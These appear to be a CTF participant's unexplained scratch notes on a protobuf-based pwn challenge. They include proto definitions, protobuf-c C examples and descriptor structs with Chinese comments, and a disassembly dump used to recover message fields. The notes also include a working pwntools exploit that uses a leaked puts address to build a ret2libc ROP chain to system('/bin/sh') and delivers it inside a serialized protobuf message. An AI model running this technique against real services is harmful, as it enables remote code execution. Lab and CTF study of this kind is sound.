syntax = "proto3";

message User {
  int32 id = 1;
  string name = 2;
  string email = 3;
}

#include <stdio.h>
#include <stdlib.h>
#include "user.pb-c.h"  // 包含生成的头文件

int main() {
    // 创建一个 User 对象，并初始化
    User user = USER__INIT;  // 生成的宏用于初始化User结构体
    user.id = 123;  // 设置用户ID
    user.name = "John Doe";  // 设置用户名
    user.email = "john.doe@example.com";  // 设置用户邮箱

    // 序列化消息
    size_t serialized_size = user__get_packed_size(&user);  // 获取序列化消息所需的大小
    void *buffer = malloc(serialized_size);  // 分配内存存放序列化数据
    user__pack(&user, buffer);  // 序列化数据到buffer

    printf("Serialized User data to %zu bytes\n", serialized_size);

    // 反序列化消息
    User *new_user = user__unpack(NULL, serialized_size, buffer);  // 从二进制数据反序列化为User对象
    if (new_user == NULL) {
        fprintf(stderr, "Error unpacking User message\n");
        return 1;
    }

    // 输出解包后的User数据
    printf("ID: %d\n", new_user->id);
    printf("Name: %s\n", new_user->name);
    printf("Email: %s\n", new_user->email);

    // 清理内存
    user__free_unpacked(new_user, NULL);  // 释放反序列化后的对象
    free(buffer);  // 释放序列化的缓冲区内存

    return 0;
}

v5 = google::protobuf::MessageLite::ParseFromArray((google::protobuf::MessageLite *)&unk_209080, s, v6);

from pwn import *
import message_pb2

from pwn import *
import message_pb2
io=process('./pwn')
libc=ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
io.recvuntil('Gift: ')
puts_addr=int(io.recv(14)[-12:].decode(),16)
success('puts_addr: '+hex(puts_addr))

libc_base=puts_addr-libc.sym['puts']
success('libc_base: '+hex(libc_base))
system=libc_base+libc.sym['system']
pop_rdi=libc_base+0x2a255
binsh=libc_base+0x19ce43
ret=libc_base+0x2868c
payload=b'a'*0x218+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
message=message_pb2.protoMessage()
message.name=b'gets'
message.phoneNumber=b'260'
message.buffer=payload
message.size=len(payload)

payload=message.SerializeToString()
io.send(payload)
io.interactive()

// demo.proto
syntax = "proto3";

package tutorial;

message Person {
  string name = 1;
  int32 id = 2;
  string email = 3;

  enum PhoneType {
    PHONE_TYPE_UNSPECIFIED = 0;
    PHONE_TYPE_MOBILE = 1;
    PHONE_TYPE_HOME = 2;
    PHONE_TYPE_WORK = 3;
  }

  message PhoneNumber {
    string number = 1;
    PhoneType type = 2;
  }

  repeated PhoneNumber phones = 4;
}

message AddressBook {
  repeated Person people = 1;
}

#include <stddef.h>

typedef struct {
    const char* name;         // 字段名称
    int number;              // 字段编号
    int label;               // 标签
    int type;                // 类型
    size_t quantifier_offset; // 数量偏移量
    size_t offset;           // 偏移量
    void* flags;             // 标志
    void* reserved[3];       // 保留字段
} ProtobufFieldDescriptor;

// 字段类型常量定义
#define PROTOBUF_C_LABEL_OPTIONAL 1
#define PROTOBUF_C_LABEL_REQUIRED 2
#define PROTOBUF_C_TYPE_STRING 1
#define PROTOBUF_C_TYPE_BYTES 2
#define PROTOBUF_C_TYPE_UINT32 3

// 定义描述符
static const ProtobufFieldDescriptor protoMessage__field_descriptors[] = {
    {
        "name",                  // 字段名
        1,                       // 字段编号
        PROTOBUF_C_LABEL_OPTIONAL, // 标签
        PROTOBUF_C_TYPE_STRING,   // 类型
        0,                       // 数量偏移量
        offsetof(protoMessage, name), // 偏移量
        NULL,                    // 标志
        {0, NULL, NULL}         // 保留字段
    },
    {
        "phoneNumber",
        2,
        PROTOBUF_C_LABEL_OPTIONAL,
        PROTOBUF_C_TYPE_STRING,
        0,
        offsetof(protoMessage, phoneNumber),
        NULL,
        {0, NULL, NULL}
    },
    {
        "buffer",
        3,
        PROTOBUF_C_LABEL_REQUIRED,
        PROTOBUF_C_TYPE_BYTES,
        0,
        offsetof(protoMessage, buffer),
        NULL,
        {0, NULL, NULL}
    },
    {
        "size",
        4,
        PROTOBUF_C_LABEL_REQUIRED,
        PROTOBUF_C_TYPE_UINT32,
        0,
        offsetof(protoMessage, size),
        NULL,
        {0, NULL, NULL}
    }
};

struct ProtobufCFieldDescriptor {
    /** Name of the field as given in the .proto file. */
    const char      *name;

    /** Tag value of the field as given in the .proto file. */
    uint32_t        id;

    /** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
    ProtobufCLabel      label;

    /** The type of the field. */
    ProtobufCType       type;

    /**
     * The offset in bytes of the message's C structure's quantifier field
     * (the `has_MEMBER` field for optional members or the `n_MEMBER` field
     * for repeated members or the case enum for oneofs).
     */
    unsigned        quantifier_offset;

    /**
     * The offset in bytes into the message's C structure for the member
     * itself.
     */
    unsigned        offset;

    /**
     * A type-specific descriptor.
     *
     * If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the
     * corresponding `ProtobufCEnumDescriptor`.
     *
     * If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to
     * the corresponding `ProtobufCMessageDescriptor`.
     *
     * Otherwise this field is NULL.
     */
    const void      *descriptor; /* for MESSAGE and ENUM types */

    /** The default value for this field, if defined. May be NULL. */
    const void      *default_value;

    /**
     * A flag word. Zero or more of the bits defined in the
     * `ProtobufCFieldFlag` enum may be set.
     */
    uint32_t        flags;

    /** Reserved for future use. */
    unsigned        reserved_flags;
    /** Reserved for future use. */
    void            *reserved2;
    /** Reserved for future use. */
    void            *reserved3;
};

typedef enum {
    /** A well-formed message must have exactly one of this field. */
    PROTOBUF_C_LABEL_REQUIRED,

    /**
     * A well-formed message can have zero or one of this field (but not
     * more than one).
     */
    PROTOBUF_C_LABEL_OPTIONAL,

    /**
     * This field can be repeated any number of times (including zero) in a
     * well-formed message. The order of the repeated values will be
     * preserved.
     */
    PROTOBUF_C_LABEL_REPEATED,

    /**
     * This field has no label. This is valid only in proto3 and is
     * equivalent to OPTIONAL but no "has" quantifier will be consulted.
     */
    PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;

typedef enum {
    PROTOBUF_C_TYPE_INT32,      /**< int32 */
    PROTOBUF_C_TYPE_SINT32,     /**< signed int32 */
    PROTOBUF_C_TYPE_SFIXED32,   /**< signed int32 (4 bytes) */
    PROTOBUF_C_TYPE_INT64,      /**< int64 */
    PROTOBUF_C_TYPE_SINT64,     /**< signed int64 */
    PROTOBUF_C_TYPE_SFIXED64,   /**< signed int64 (8 bytes) */
    PROTOBUF_C_TYPE_UINT32,     /**< unsigned int32 */
    PROTOBUF_C_TYPE_FIXED32,    /**< unsigned int32 (4 bytes) */
    PROTOBUF_C_TYPE_UINT64,     /**< unsigned int64 */
    PROTOBUF_C_TYPE_FIXED64,    /**< unsigned int64 (8 bytes) */
    PROTOBUF_C_TYPE_FLOAT,      /**< float */
    PROTOBUF_C_TYPE_DOUBLE,     /**< double */
    PROTOBUF_C_TYPE_BOOL,       /**< boolean */
    PROTOBUF_C_TYPE_ENUM,       /**< enumerated type */
    PROTOBUF_C_TYPE_STRING,     /**< UTF-8 or ASCII string */
    PROTOBUF_C_TYPE_BYTES,      /**< arbitrary byte sequence */
    PROTOBUF_C_TYPE_MESSAGE,    /**< nested message */
} ProtobufCType;

.rodata:0000000000006502 aName           db 4,'name'//长度和字段名
.rodata:0000000000006507                 db  18h
.rodata:0000000000006508                 db    1//字段编号
.rodata:0000000000006509                 db  20h
.rodata:000000000000650A                 db    1//修饰符（为1表示required
.rodata:000000000000650B                 db  28h ; (
.rodata:000000000000650C                 db    9//数据类型(存疑)
.rodata:000000000000650D                 db  12h
.rodata:000000000000650E                 db  13h
.rodata:000000000000650F                 db  0Ah

syntax = "proto2";
message ProtoMessage {
    optional string name = 3;
    optional string phone_number = 4;
    required bytes buffer = 5;
    required uint32 size = 6;
}